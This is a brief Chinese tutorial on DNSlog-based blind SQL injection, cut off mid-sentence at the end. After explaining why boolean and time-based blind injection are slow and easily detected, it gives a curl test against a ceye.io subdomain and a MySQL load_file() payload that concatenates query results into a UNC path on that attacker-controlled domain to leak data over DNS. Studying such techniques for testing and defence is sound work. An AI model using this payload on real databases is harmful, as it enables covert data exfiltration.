dnslog盲注原理

Dnslog盲注原理

布尔盲注和时间盲注相当于猜单词的游戏，我们需要对每一位逐步的猜测，效率很低，需要发送很多的请求进行判断，很可能会触发安全设备的防护
我们需要一种方式能够减少请求，直接回显数据——Dnslog注入
Dns在解析的时候会留下日志，通过读取多级域名的解析日志，获取请求信息

Dnslog盲注方法

登录http://ceye.io/网站并注册，得到属于自己的identifier
先尝试在终端运行curl dnslog.4ke30o.ceye.io

Mysql load_file()函数可以发起请求，LOAD_FILE()函数操作需要用户具有FILE权限
构造语句，利用load_file()函数发起请求，使用Dnslog接收请求，获取数据
只能在windows系统下使用load_file()发起请求，在Linux环境下不能使用load_file()发起请求
使用语句select load_file(concat('\\\\',(select version()),'.mysql.4ke30o.ceye.io\\abc'))
在使用前务必记得设置secure_file_priv为""，我使用的是PHPstudy集成环境，所以访问http:/